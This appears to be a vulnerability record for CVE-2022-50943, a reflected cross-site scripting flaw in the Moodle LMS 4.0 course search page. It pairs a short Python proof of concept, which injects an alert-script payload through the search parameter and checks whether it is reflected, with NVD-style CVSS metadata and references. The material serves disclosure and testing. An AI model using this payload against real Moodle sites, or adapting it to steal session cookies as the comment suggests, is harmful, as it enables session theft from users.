CVE-2022-50943

# PoC for CVE-2022-50943 # This script demonstrates the reflected XSS in Moodle LMS 4.0 via the search parameter. import requests def check_xss(target_url): # Vulnerable endpoint endpoint = "/course/search.php" # Malicious payload to test script execution # In a real scenario, this could be a cookie stealer xss_payload = "<script>alert('CVE-2022-50943_XSS');</script>" # Construct the full URL with parameters params = { "search": xss_payload } try: print(f"[*] Sending request to {target_url}{endpoint}...") response = requests.get(target_url + endpoint, params=params) # Check if the payload is reflected in the response without encoding if xss_payload in response.text: print("[+] Vulnerability confirmed! Payload is reflected unescaped.") print(f"[+] URL: {response.url}") else: print("[-] Payload not found or mitigated.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with the actual target Moodle URL target = "http://localhost/moodle" check_xss(target)

{"cve": {"id": "CVE-2022-50943", "sourceIdentifier": "[email protected]", "published": "2026-05-10T13:16:31.997", "lastModified": "2026-05-13T15:27:30.370", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Moodle LMS 4.0 contains a cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by submitting payloads through the search parameter. Attackers can inject JavaScript code via the search field in course/search.php to execute arbitrary scripts in users' browsers and steal session cookies."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://git.in.moodle.com/moodle", "source": "[email protected]"}, {"url": "https://moodle.org/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51115", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/moodle-lms-cross-site-scripting-via-course-search-php", "source": "[email protected]"}]}}